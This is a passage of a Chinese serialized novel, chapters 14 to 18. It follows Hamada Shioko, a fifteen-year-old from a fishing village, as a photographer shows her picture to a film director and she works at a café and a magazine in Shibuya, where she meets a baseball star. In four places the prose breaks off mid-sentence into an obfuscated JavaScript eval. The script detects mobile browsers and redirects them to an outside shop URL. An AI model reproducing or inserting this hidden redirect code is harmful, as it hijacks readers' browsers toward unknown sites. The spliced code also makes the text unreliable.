他看着照片里那道细细的伤疤,看着她棱角分明的脸,看着她闭着眼睛仰起头的样子。他想起小说里的初江——那个在暴风雨里跑过山路的少女,那个不怕海浪、不怕礁石、不怕任何东西的少女。他找了那么久,原来她在这里。 山田站在那里,看了很久。 森本走过来,站在他旁边。两个人都没说话,都看着那张照片。 过了一会儿,山田开口了。 “她是哪里人?” “静冈。海边的一个小渔村。” “多大了?” “十五。” “她叫什么?” “浜田潮子。” 山田点了点头,眼睛没有离开照片。“海边的孩子。” “嗯。” “她身上有海风的味道。” 森本看了山田一眼。他没说话,他知道山田不需要他说话。 “你从哪里找到她的?”山田问。 “她妈妈在一家小酒肆带着她长大。我去采风的时候,路过那里。” “她妈妈……” “陪酒的。”森本的声音很平,“她从小在酒肆里长大。没有父亲。” 山田沉默了一会儿。 “她脸上的伤呢?” “她妈妈打的。也有同学打的。”森本顿了顿,“她的出身不好。在那个小地方,陪酒女的女儿,谁都可以欺负。” 山田没说话。他还在看那张照片。他看见的不只是那张脸,他看见了海风,看见了礁石,看见了那条深蓝色的连衣裙,看见了那道已经快好的伤疤。他看见了那个女孩站在那里,站在所有人面前,什么都没有,什么都不怕。 “森本。” “嗯。” “你是来让我看这个少女的。” 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486549|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是问句,是陈述句。 森本笑了一下。“老朋友还是被你看出来了。” 山田转过头看着他。他的眼睛很亮,里面有笑意,但不是那种轻松的笑。“不直接推荐,非得拐弯抹角?” “这不是想让你亲自确认一下。”森本说,“我的眼睛和你的眼睛,看的东西不一样。我觉得好,不一定你觉得好。” “你什么时候变得这么谦虚了?” “不是谦虚。”森本看着那张照片,“是这孩子太珍贵了。我不敢随便说。我怕我的话说多了,你的眼睛就看不见她了。” 山田愣了一下。他认识森本二十多年了,从来没听他说过这种话。这个拍了大半辈子照片的人,见过了多少脸,拍过了多少面孔。他从来没有用“珍贵”这个词形容过谁。 山田又看向那张照片。少女闭着眼睛,海风吹着她的头发。她不知道有人在看她,不知道有人在她面前站了这么久。她只是坐在那里,坐在礁石上,坐在海风里,坐在那道从顶上打下来的灯光下面。 “你欠我个人情。”山田说。 森本笑了。“话可不能这么说。” “那怎么说?” 森本看着那张照片,沉默了一会儿。“如果这孩子可以让你的女主角活过来,这话应该我说给你听。” 山田转过头,看着森本。他脸上的表情变了。不是开玩笑的表情,是认真的、郑重的、像在说一件很重要的事的表情。 “看来你的评价很高啊。”山田说。 “不是评价高。”森本说,“是她站在那里,你就知道了。” 山田又看回那张照片。他看了很久。 “她叫什么来着?” “浜田潮子。” “潮子。”山田念了一遍这个名字,“海潮的潮?” “嗯。” “好名字。” 他站在那里,又看了一会儿。然后他转过身,往展厅外面走。走了几步,停下来,回过头。 “森本。” “嗯。” “让她来见我。” 森本的心跳了一下。“什么时候?” “下周。”山田说,“我让人联系你。” 他转身走了。围巾从肩上滑下来一半,他也不管,就那么走了出去。 森本站在那里,看着山田的背影消失在展厅门口。他低头看了看自己手里的酒杯,酒一口没喝,杯壁上凝着水珠。他把它放在旁边的桌上,然后转过身,看着那张照片。 少女还坐在礁石上,还闭着眼睛,海风还吹着她的头发。她什么都不知道。不知道刚才有个人在她面前站了那么久,不知道那个人说了一句“让她来见我”。 森本看着照片里的她,轻轻说了一句。 “潮子,你的路要开始了。” 没有人听见。 展厅里还是那样,人们三三两两地走着,低声交谈着。酒杯碰在一起的声音,鞋跟踩在地板上的声音,快门按下的声音。那张照片挂在灰墙上,灯照着它,光从上面洒下来,像海面上的月光。 森本站在那里,看着那张照片,看了很久。然后他转过身,往展厅外面走。走了几步,又停下来,回头看了一眼。 少女还在那里。 他笑了一下。很轻的,嘴角动了一下,眼睛弯了弯。 然后他走了。 15. 第 15 章 咖啡店上午的生意不忙,潮子已经慢慢习惯了这里的节奏。九点开门,擦桌子、摆糖罐、把纸折的花扶正。十点以后陆续有人进来,点一杯咖啡,看报纸,发呆,或者什么也不做。她负责端咖啡、收杯子、擦吧台。老板不怎么说话,圆脸女人叫典子,教她怎么用咖啡机,怎么打奶泡,怎么把杯子摆得好看。 “你不用紧张,”典子说,“客人来这里是歇脚的,不是来挑毛病的。” 潮子点点头。她做事认真,桌子擦得比谁都干净,杯子摆得整整齐齐。典子看在眼里,没说什么,但给她留的午饭分量越来越多。 那天上午十一点多,门被推开了。铃铛响了一声,进来几个穿校服的男生。白色的衬衫,深蓝色的裤子,领口立着,金色的纽扣在灯下反着光。潮子认得那个校服——开成学院。她的心跳了一下,然后她看见了走在最前面的人。 比电视上瘦一些,下颌的线条从耳根一路收拢到下巴,干净利落。皮肤不像甲子园转播时那样被烈日镀成深色,白了一些。他的头发比电视上长了一点,额前垂着几缕,被门风吹起来又落回去。眼睛很深,眉骨的阴影投在眼窝里。他的眉毛浓而舒展,眉尾收得干净,没有多余的杂毛。鼻梁直而挺,从眉心一路下来。嘴唇抿着的时候带着一点天然的冷感,但嘴角的弧度微微向上,那点冷就被中和了,变成一种不设防的温和。他的个子很高,站在那几个男生中间,肩膀的宽度撑起校服的肩线,整个人像一棵被修剪过的树,不张扬,不凌厉,但你就是没办法把目光从他身上移开。 潮子站在吧台后面,手里端着托盘,看着他。她不知道自己在看,也不知道自己愣住了。 他走进来,目光扫过店里,落在她身上。停了一下。 “欢迎光临。”她说。 他点点头,和同学在靠窗的位子坐下。那几个男生一直在说话,声音不大,但能听出来是刻意压着兴奋的那种。其中一个用胳膊肘碰了碰旁边的人,朝潮子的方向努了努嘴,几个人交换了一下眼神,有人低声说了句什么,几个人都笑了。 清源没有笑。他坐下来,拿起桌上的菜单看了一眼,又放下。 潮子走过去,站在桌边。她把托盘夹在身侧,等着他们点单。 “我要一杯咖啡。”其中一个男生说,眼睛没看她,但嘴角翘着。 “我也是。” “我也是。” 轮到清源。“咖啡。”他说。声音很低,很稳,像什么东西落在棉花上。 潮子记下,转身走回吧台。她能感觉到背后的目光,但她没有回头。典子在做咖啡,从咖啡机后面探出头来,往那桌看了一眼,又看了一眼。 “那是今年夏天甲子园里最耀眼的清源幸司吧?”她压低声音,眼睛还看着那个方向,“真好啊,能见到本人。比电视里还要英俊呢。” 潮子没说话。她把咖啡杯摆好,等着典子把咖啡倒进去。 典子看了她一眼,笑了笑,没再说什么。 咖啡做好了。潮子端过去,一杯一杯放在桌上。放到清源面前的时候,她低着头,把杯子轻轻放下。杯碟碰了一下桌面,发出轻微的响声。 “谢谢。”他说。 她抬起头,看了他一眼。很近。她看见他睫毛的影子,看见他鼻梁上被窗光照出来的那道亮线。他也在看她,很平静,像看一个普通的人。她收回目光,转身走回吧台。 身后传来一个男生压低的声音:“清源,你认识她?” “不认识。” “那你看什么?” 没人回答。有人小声笑了一下,被另一个人的咳嗽盖住了。然后安静下来,只有杯碟碰在一起的声音,和窗外的电车声。 潮子站在吧台后面擦杯子。典子走过来,把托盘收走,也没说什么。 那群男生坐了半个小时,走了。临走的时候,走在最后的那个回头看了一眼,被前面的人拉走了。门上的铃铛响了一声,然后安静了。潮子过去收桌子,清源那杯咖啡喝了一半,杯子里的咖啡已经凉了。她把杯子收进托盘,擦干净桌面。窗外的阳光照在那张空桌子上,照着她刚擦过的地方,亮亮的。 那天下午,潮子又出去找工作了。她沿着涩谷的街道一条一条地走,看见门口贴了招工启事的就进去问。一家卖文具的店要人,但只招全职。一家小印刷厂要人,但说“你太小了”。一家洗衣店要人,但工作时间是晚上,和她上课的时间撞了。她走了一个多小时,一家都没找到。腿又开始疼了,脚趾上磨破的地方又裂开了,她在路边的台阶上坐下来,把木屐脱了,看着脚上的伤口。太阳照在脚面上,晒得有点疼。 回到公寓的时候,天还没黑。她推开门,听见客厅里有打字机的声音。高桥女士在赶稿子,桌上摊着一堆稿纸,烟灰缸里塞满了烟头。她看见潮子进来,把眼镜摘下来。 “回来了?” “嗯。” “工作找到了吗?” 潮子摇摇头。她在厨房里烧了水,泡了一杯茶端过去。高桥接过来,喝了一口,看着她。 “你不用这么急。”高桥说,“你才来几天。” 潮子没说话。她站在客厅门口,不知道是该进去还是该走。 高桥看了她一会儿。“过来坐。” 潮子走过去,在沙发边上坐下来。高桥把稿纸推到一边,转过身看着她。 “你的手,”她说,“伸出来。” 潮子愣了一下,把手伸出来。掌心朝上,手指细长,但指甲剪得很短,指节上有小时候干活留下的茧。手背上有一道浅浅的疤,不知道什么时候划的。高桥看着那双手,看了很久。 “你从小干活?”她问。 “嗯。” “你妈妈……” “她在酒肆上班。”潮子说。她没有说“陪酒”,她说“酒肆”。但高桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486550|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听懂了。 高桥没再问。她靠在沙发上,看着天花板,过了一会儿,说:“你晚上上课,白天打工,下午还要找工作。你才十五岁。” 潮子没说话。 “别人家的孩子十五岁在干什么?”高桥像是在问潮子,又像是在问自己。“在考试,在谈恋爱,在跟父母吵架。你在这里,脚上贴着胶布,到处找工作。” 潮子低下头,看着自己的手。 “你为什么要这么拼?”高桥问。 潮子沉默了一会儿。“我要读书。”她说,“我还要还森本先生的人情。还要给妈妈寄钱。我……”她停了一下,没有说下去。她没有说健一郎。 高桥看着她,看着这个瘦瘦的,坐在沙发边上的女孩。她的眼睛很亮,里面有一种东西,不是可怜,不是委屈,是那种“我知道很难但我不怕”的东西。 “你让我想起一个人。”高桥说。 潮子抬起头。 “我自己。”高桥笑了一下,很淡,“我年轻的时候也是这样。从乡下来,什么都没有,什么都靠自己。那时候如果有人帮我一把,我不会走那么多弯路。” 潮子看着她,没说话。 高桥从桌上拿起一张纸,是她们杂志社的稿纸,上面印着刊头。“我们杂志社需要人帮忙。整理稿件,送文件,打扫暗房。活不多,但能赚点外快。你愿意来吗?” 潮子愣了一下。“可以吗?” “当然可以。”高桥说,“像你那么勤奋的孩子,哪里去找?” 潮子看着她,嘴巴张了张,没说出话来。 “不过我这关面试你已经通过了。”高桥端起茶杯喝了一口,“明天跟我去杂志社,我带你认识一下同事。” 潮子坐在那里,看着她,过了好一会儿,才说:“谢谢您。” 高桥摆摆手,把稿纸拉回来,戴上眼镜,继续改稿子。打字机的声音又响起来了,嗒嗒嗒的,很有节奏。潮子站起来,走到厨房,开始准备晚饭。她把白菜切好,放在盘子里,站在窗口,看着外面那堵灰色的墙。墙根下那丛草还在,绿绿的,从石头缝里长出来。她看了很久,然后转过身,继续做饭。 那天晚上,她躺在床上,把贝壳放在枕头底下。她想起今天在咖啡店,典子说“比电视上还要英俊”。她想起清源看她的那一眼。很干净,什么都没有。不像酒肆里那些男人,不像田中。只是看见了一个人,多看了一眼。她不知道为什么记住了那一眼。也许是因为太干净了,干净得像东京没见过的东西。 她翻了个身,面朝墙壁。她闭上眼睛。明天要去杂志社。要早起。要去咖啡店。要去夜校。她在心里把这些事过了一遍,又过了一遍。然后她睡着了。 窗外,涩谷的夜还是那样亮着。霓虹灯一闪一闪的,把天映成暗暗的橘色。远处有电车开过去,轰隆隆的,越来越远。那个声音,和海浪不一样。但她已经习惯了。 16. 第 16 章 潮子第一天到咖啡店打工的时候,连咖啡是什么都不知道。 她在渔村长大,酒肆里卖的是清酒和烧酎,男人们喝那些东西,喝得脸红脖子粗,拍着桌子唱歌。她没见过有人喝咖啡。那东西黑乎乎的,闻起来有一股焦糊的味道,她第一次端给客人的时候,心想这能好喝吗。客人是个穿西装的中年男人,接过去抿了一口,皱着的眉头松开了,靠在椅背上,长长地呼了一口气。潮子站在旁边,觉得奇怪。在渔村,能让人长出那种表情的东西,只有酒。 后来典子给她也倒了一杯。她站在吧台后面,端着那个小小的杯子,看着里面黑漆漆的液体,犹豫了一下,抿了一口。苦的。涩的。她差点吐出来。典子看着她皱成一团的脸,笑了。“第一次喝都这样。”潮子把那杯咖啡喝完了,不是因为好喝,是因为不想浪费。喝到最后一口的时候,她好像品出了一点什么,说不上来,像海风里混了一点点甜。 现在她已经习惯了。每天上午站在咖啡机前面,看着深褐色的液体流进杯子里,奶泡在上面浮成一层白。她知道美式是苦的,拿铁是顺的,加糖加奶是给怕苦的人准备的。但她还是不怎么喝。她宁愿喝白水。 那天上午的班结束后,典子照例给她留了午饭。她坐在后面的小房间里,把饭吃完,把便当盒洗干净,还给典子。门上的铃铛响了一声,她推门出去,站在街上。涩谷的太阳白花花地照着,她眯了一下眼睛,往公寓的方向走。 回到公寓,高桥女士在玄关等她,手里拎着一个黑色的大包。“走吧。”她说。潮子跟在她后面,走出巷子,拐上大路。杂志社在涩谷车站南边的一座大楼里,五层,灰色的外墙,门口挂着一块铜牌,上面刻着杂志的名字。高桥刷了卡,推开玻璃门,潮子跟在后面走进去。 电梯到了三楼,门打开,迎面是一条长长的走廊。墙上挂着放大的杂志封面,一幅接一幅,像画廊。潮子走过去的时候,忍不住放慢了脚步。那些封面上的面孔——有的在笑,有的在沉思,有的侧着脸,眼睛看着远方。灯光打在上面,每一个人都像在发光。她在一张封面前面停下来,是一个女演员的特写,黑白的,她的脸占满了整个画面,眼睛很大,看着镜头,像有话要说。潮子站在那里,看了很久。 “潮子?”高桥在前面喊她。她回过神,快步跟上去。 办公室比她想的大。一进门是一排排的桌子,上面堆着稿纸、照片、信封、剪刀、胶水。有人在打电话,有人在打字。空气里有纸张的味道,还有咖啡的味道,还有显影液的味道,涩涩的,酸酸的。潮子站在门口,被那个味道呛了一下。 高桥领着她穿过办公室,走到最里面的一间小房间。“这是资料室。”她推开门,里面是一排一排的铁皮柜子,从地板到天花板,密密麻麻的。“你的工作是整理这些资料。按日期、按类别归档。还有,送文件到各个部门。有时候暗房需要帮忙,你也去。” 潮子点点头。 “今天你先跟着我。”高桥从桌上拿起一摞信封,“把这些送到摄影棚。” 摄影棚在走廊的另一头。高桥推开门的时候,潮子站在门口,愣住了。 棚很大,比酒肆大十倍。地上铺着灰色的背景布,几盏巨大的灯架在四周,像金属的树。灯亮着,把整个棚照得白花花的,没有影子。空气里有发胶和定妆粉的味道,还有灯光烤久了的热气,闷闷的。 中间站着一个女人。她穿着一件红色的连衣裙,领口开得很低,头发烫成很大的卷,垂在肩膀上。她的脸化了妆,嘴唇很红,眼睛周围涂了深色的眼影,在灯光下反着光。她站在背景布前面,摆着姿势——下巴微微抬起,手放在腰上,身体侧过去,露出一条腿。摄影师蹲在她前面,举着相机,喊“好,好,再看这边”。快门的声音咔嚓咔嚓的,很快,很密。 旁边站着几个工作人员,有的举着反光板,有的拿着衣服,有的蹲在地上整理电线。没有人说话,只有快门的声音和摄影师偶尔的指令。 潮子站在那里,看着那个女人。她从来没有这么近地看过这样的人。在渔村,在酒肆,在街上,她见过的人都是灰扑扑的、低着头、缩着肩膀的。这个人不一样。她站在那里,像一团火,亮得刺眼。她的每一个动作都是故意的——转头、抬眼、微笑、把头发拨到耳后——但看起来又那么自然,好像她天生就该被灯照着,被镜头追着。 潮子看着她的侧脸,看着灯光在她锁骨上打出的小小的阴影,看着她耳垂上那两颗亮闪闪的耳环,看着她的裙摆被风扇吹起来又落下去。她看得入了迷,手里的信封被她攥出了褶子。 高桥把信封递给一个工作人员,转过身,看见潮子站在那里,一动不动。她没有叫她,只是站在旁边,等着。 过了一会儿,摄影师喊了一声“休息”。那个女人脸上的表情一下子松下来,肩膀塌了,用手扇着风,助理赶紧跑过去给她披上外套。摄影棚里的灯关了几盏,光线暗下来,温度也降了一点。潮子像是被人从水里捞出来一样,回过神来。 “走吧。”高桥说。 潮子跟在她后面走出摄影棚。走廊里很安静,只有远处传来的打字机声。潮子低着头走了几步,突然说:“那个人是谁?” “松本亚矢子。”高桥说,“演员。下期杂志的封面。” 潮子点点头,没再问。但她脑子里还留着那个画面——那个女人站在灯光下的样子,她的红裙子,她耳朵上的亮光。她从来没想过,一个人可以被灯照得那么好看。 回到资料室,高桥教她怎么归档。按日期分,按栏目分,按摄影师的名字分。潮子学得很快,高桥说了一遍她就记住了。她坐在铁皮柜子前面,把一摞一摞的稿纸分好,用夹子夹住,写上标签,放进对应的格子里。 做着这些的时候,她心里很静。这种静是满的,周围全是声音,但那些声音和她没关系。打字机的声音,电话的声音,翻稿纸的声音,远处摄影棚里快门的声音。她在这些声音中间,安安静静地坐着,做自己的事。 下午四点,她该去夜校了。她把剩下的稿纸码整齐,站起来,走到高桥的桌前。 “高桥女士,我去学校了。” 高桥抬起头,看着她。“明天下午还是三点来。” 潮子点点头,转身要走。 “潮子。”她停下来。“今天在摄影棚,”高桥说,“你看松本亚矢子看呆了。” 潮子的脸烫了一下。 “好看吗?”高桥问。 潮子想了想。“好看。”她说,“但不是我见过的最好看的。” 高桥愣了一下。“那谁最好看?” 潮子没有回答。她想起一个人。不是松本亚矢子,不是电视上的清源幸司。是另一个人。那个人没有站在灯光下,没有化妆,没有穿红裙子。她穿着一条深蓝色的连衣裙,坐在礁石上,光着脚,海风吹着她的头发。那是她自己。她不知道那算不算好看,但那一刻,她觉得自己很好看。 “那个坐在礁石上的女孩。”她说。 高桥看了她一眼,没再问。 潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486551|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子走出杂志社,站在楼下。天还没黑,太阳在西边挂着,把对面的玻璃幕墙照得金灿灿的。她站在那里,仰着头,看了一会儿那片金色的光。然后她低下头,往夜校的方向走。 走到校门口的时候,她停下来。门口的台阶上坐着一个人,穿着工作服,袖口有油渍,手里拿着一个饭盒,正在吃东西。是中村。他看见她,愣了一下,把饭盒放下,站起来。 “浜田。” “中村。” “你今天来得早。” “嗯。” 他看着她,犹豫了一下。“你吃过了吗?” “吃过了。”她说。 中村点点头,把饭盒收起来。两个人一起走进教学楼。走廊里很安静,日光灯嗡嗡地响。潮子走在前面,中村跟在后面。走到教室门口,潮子停下来,回头看了他一眼。 “中村。” “嗯?” “你每天都是自己带饭?” “嗯。家里做的。” “谁做的?” “我自己。”他笑了一下,“我妈很早就没了。我爸在工厂上班,顾不上我。我就自己学着做。” 潮子看着他。 “好吃吗?”她问。 “还行吧。能吃。” 潮子笑了一下。很轻的,嘴角动了一下,眼睛弯了弯。中村看见她笑,愣了一下,也笑了。 他们走进教室,在各自的位子坐下。老师进来了,翻开课本,开始讲课。潮子拿出笔记本,一笔一划地写着。她的字还是那么工整。窗外的天黑了,教室里的灯亮着,照在她的本子上,白花花的。她写着写着,想起摄影棚里那盏灯,想起松本亚矢子站在灯光下的样子。那个人被灯照着,所有人都看着她。而她坐在这里,没有灯照着她,没有人看她。她在笔记本上写下一个字,又写下一个字。她在想,被灯照着是什么感觉。是不是很热?是不是刺眼?是不是站在那里,所有人都看着你,你就不是你自己了? 她把那个念头按下去,继续听课。老师在讲《蜘蛛之丝》的最后一节。犍陀多掉回了地狱。那根蜘蛛丝断了。他本来可以爬上去的,但他回头看了别人一眼,就掉下去了。潮子想,如果他是自己一个人,是不是就能爬上去?还是说,那根丝本来就是断的,不管有没有别人,它都会断? 她把这个问题写在笔记本的边上。写完了,看着它,看了一会儿,又划掉了。 下课了。她收拾好东西,走出教室。中村在外面等她。 “浜田。” “嗯?” “明天见。” “明天见。” 她走出校门,往公寓的方向走。走到巷口的时候,她停下来。桂花树在路灯下面,叶子被光照着,亮亮的。她站在树下,仰着头看了一会儿。然后她走进巷子,上楼。 高桥女士的房间灯还亮着。打字机的声音嗒嗒嗒的,从走廊那头传过来。潮子推开自己的房门,把包放下,坐在榻榻米上。窗台上那枚贝壳,白白的,有粉色的纹路。她把它拿起来,放在手心里。凉凉的,硬硬的。 她想起今天在摄影棚里看到的那个画面。那些灯,那个穿红裙子的女人,那些咔嚓咔嚓响的快门。她想起自己坐在礁石上的那天,海风吹着她的头发,森本先生举着相机对着她。那时候也有快门的声音,但没有灯。只有海,只有风,只有她自己。 她不知道哪一个更好。她只知道,那天在海边,她很舒服。就坐在那里,闭着眼睛,让风吹着。那是她这辈子最舒服的时候。 17. 第 17 章 潮子在杂志社干了几天,已经慢慢摸清了这里的规矩。资料室的铁皮柜子她闭着眼睛都能找到,哪个摄影师的照片放在哪一格,哪一年的稿子在哪一排,她记得比谁都清楚。 高桥说她“天生该吃这行饭”,她不知道这算不算夸奖,但她喜欢待在这里。喜欢纸张的味道,喜欢打字机的声音,喜欢那些从暗房里捞出来的照片挂在绳子上、一滴一滴往下淌水的样子。 那天下午,她正在资料室里归档上个月的照片。门开了,一个戴眼镜的年轻人探进头来。“你是新来的?摄影棚缺人手,你来帮忙倒水。”潮子放下手里的照片,跟着他走过去。 摄影棚的门开着,里面比上次来的时候更亮。灯全开着,白花花的,照得她眯了一下眼睛。她站在门口,看见一群人围在背景布前面。摄影师蹲在地上,助理举着反光板,化妆师拎着箱子站在旁边。人群中间站着一个人。 潮子认出了他。 清源幸司。他穿着一件白色的衬衫,袖子挽到手肘,露出小臂。下面是一条深灰色的裤子,没有穿校服,但整个人还是干净得像刚拆封的纸。他的头发比上次在咖啡店的时候短了一点,大概是刚剪过,露出耳朵。他站在那里,听摄影师说话,微微侧着头,下巴的线条在灯光下很硬朗。 潮子端着托盘站在门口,没有动。她看着他,第一次这么近,这么仔细。她看见他的肩膀很宽,白衬衫下面能看出肩胛骨的形状,不是瘦的那种,是练过的,有肌肉撑着,线条从脖子斜着下来,到肩膀那里拐一个弯,顺着胳膊一路下去。他的小臂露在外面,皮肤不白,是晒过的颜色,上面有细细的汗毛,被灯光照成金色。他握着一瓶水,手指很长,指节分明,指甲剪得很短。他站在那里的时候,身体微微侧着,重心放在一条腿上,另一条腿随意地伸着,整个人看起来是松的,但不是散的那种松,是猫那样——看着懒,其实随时能弹起来。 他笑了。摄影师说了什么,他嘴角往上翘,露出一排整齐的牙齿。他的五官是那种让人看了会觉得舒服的长法——眉毛浓而不粗,眉尾收得干净,眼窝有些深,鼻梁直而挺,从眉心一路下来,到鼻尖那里微微收住,线条利落。嘴唇不薄不厚,抿着的时候带着一点自然的弧度,像随时会笑出来。他的皮肤是匀净的暖调,不是刻意晒出来的古铜,是常年在室外打球、被阳光慢慢养出来的颜色。他的整个人的气质是明朗的,干净的,像夏天早晨六七点钟的太阳,不烈,但你知道它会越来越亮。他就是站在那里,坐在那里,安安静静的,但你能感觉到他身上有一种向上的、不费力的生命力。那种生命力不是靠喊口号或者握拳头表现出来的,是从他的眼睛里、从他坐着的姿势里、从他抬起手时袖子滑落露出小臂的那一截皮肤里,一点一点渗出来的。 潮子站在那里,看着他。她见过好看的人。电视上的明星,杂志封面的模特,酒肆里偶尔路过的外地人。但她从来没有这么近地看过一个人,把每一个细节都收进眼睛里。 他和健一郎不一样。健一郎的脸是硬的,棱角分明的,被海风吹出来的那种。他站在那里,像一块礁石,沉默的,压得住浪的。清源不是。他是亮的,是暖的,是那种你一看见就知道他没被生活欺负过的人。他的身上没有伤疤,没有那种被打过、被骂过、被生活按在地上磨过的东西。他的自信是长在骨头里的,不需要证明什么,不需要保护谁,只是站在那里,就知道自己是谁。 潮子看着他,突然想起健一郎。健一郎的眼睛也很亮,但那道光是不一样的。清源的光是天生的,是太阳照在他身上反射出来的。健一郎的光是从里面烧出来的,烧得很深,不让人看见。她不知道为什么在这个时候想起他。也许是清源笑的时候,让她想起健一郎皱眉的样子。也许是因为阳光和礁石本来就不该放在一起比。 “茶来了。”戴眼镜的年轻人喊了一声。潮子回过神,端着托盘走进去。她把茶杯一个一个放在桌上,低着头,没有看他。但她能感觉到他就在旁边,那么近,近得她能闻到他身上的味道——肥皂的,干净的,还有一点点汗味,像刚跑完步的那种。 采访开始了。一个穿西装的男人坐在清源对面,手里拿着笔记本和录音机。潮子端着空托盘站到旁边,等着收杯子。她不应该站在那里,但她没有走。她想知道他会说什么。 “清源君,先聊聊你的棒球生涯吧。你是从什么时候开始接触棒球的?” 清源的声音从她身后传来,低低的,稳得很。“小学二年级。那时候邻居家的孩子在公园里玩,我路过,被球砸了一下。” “被球砸了?” “嗯,砸在头上。”他笑了一下,“他们很紧张,问我有没有事。我说没事,但我想知道是什么东西砸了我。后来就开始玩了。” 潮子听着他的声音。他的声音已经变过了,不是少年那种尖尖的、脆脆的,是低沉的,厚实的,像什么东西稳稳地落在地上。但又不沉,不闷,说话的时候尾音会微微往上扬,听起来很舒服。像他这个人一样,干干净净的。 “热爱棒球吗?” “热爱。”他说,没有犹豫,“从第一天起就热爱。” “在开成学院这样的学校,学业和训练怎么兼顾?” “早起。晚睡。少玩一点。”他说得很简单,好像那些东西不值得说。 “成为棒球明星之后,有什么想法?” 清源沉默了一会儿。潮子站在旁边,等着。 “想法……”他说,“就是觉得,不能辜负那些来看我打球的人。他们花了时间,花了钱,来看一场比赛。我要对得起那些时间。” 采访的人点点头,在本子上记了几笔。旁边有人换录音带的磁带,窸窸窣窣的。清源端起茶杯喝了一口,放下的时候,杯碟碰了一下,发出轻轻的一声响。 潮子站在那里,听着他说的话。每一句都那么稳,那么对,像事先想好的,又像不用想就知道该这么说。她想起在渔村的时候,村里人说话不是这样的。他们说话是碎的,颠来倒去的,说一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486552|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽一半,你得猜。他不是。他的每一句话都是完整的,干干净净的,像他这个人一样。 采访结束了。摄影棚里的灯关了几盏,光线暗下来。工作人员开始收拾东西,搬灯的搬灯,收背景布的收背景布。潮子走过去,把桌上的茶杯收进托盘。她低着头,把杯子一个一个码好。 “你好。”声音从头顶传来。她抬起头。清源站在她面前,离她两步远。他看着她,眼睛里有一点什么——不是打量,是认出来了。 “我们见过。”他说,“在咖啡店。” 潮子看着他,没说话。她没想到他会记得。 “那天和朋友一起去的。”他说,“你在这里工作?” “嗯。” 他点点头,看着她。她今天穿着素色的上衣,头发扎起来,露出耳朵。脸上没有妆,干干净净的,鼻尖上那颗痣在摄影棚的灯光下显出来,不抢眼,但你看见了就忘不掉。他的目光在她脸上停了一下,然后移开了。 “你在这里做些什么?” “整理资料。端茶倒水。”她顿了顿,“什么都要做。” 他看着她,又看了一眼她手里的托盘。她端得很稳,手指上有一道浅浅的疤,是小时候留下的。她的手不白,指节上有茧子,指甲剪得很短。他看着那双手,没有说什么。 “你还有咖啡店的工作?”他问。 “嗯。上午在咖啡店。下午在这里。晚上上课。” 他愣了一下。“晚上上课?” “夜校。” 他看着她,眼睛里有什么东西动了一下。他想起自己十七岁,每天做的事情是上学、训练、比赛。他以为那已经很累了。这个女孩比他小,却已经在打几份工,晚上还要读书。她站在那里,端着托盘,瘦瘦的,但站得很直。 “挺了不起的。”他说。 潮子没有回答。她不知道该怎么回答这句话。在渔村,没有人说她了不起。他们说她“可怜”,说她“命不好”,说她“跟她妈一样”。从来没有人说她“了不起”。 “谢谢。”她说。 他点点头,转身走了。走到门口的时候,他停下来,回头看了她一眼。她站在摄影棚中间,手里端着托盘,灯从侧面照过来,照在她脸上,照在她鼻尖那颗痣上。她站在那里,睁着漂亮的大眼睛,像一棵被风吹着的小树,根扎得很深。 潮子站在那里,看着那扇关上的门。她想起他说的话。“挺了不起的。”她的鼻子酸了一下。她把托盘端到厨房,把杯子洗干净,放回柜子里。然后她回到资料室,继续归档那些照片。 那天晚上,她躺在榻榻米上。她想起清源说的那些话。他的声音还在她耳朵里转,低低的,厚实的。她想,原来十七岁的男孩子可以长成这样。没有伤疤,没有被打过的痕迹,站在那里就知道自己是谁。她想起健一郎。他十七岁的时候,会是什么样?也会像清源一样吗?不会。他是大海,大海不需要光。它自己就是深的。她把贝壳攥在手心里,翻了个身。 18. 第 18 章 森本是在一个傍晚来的。 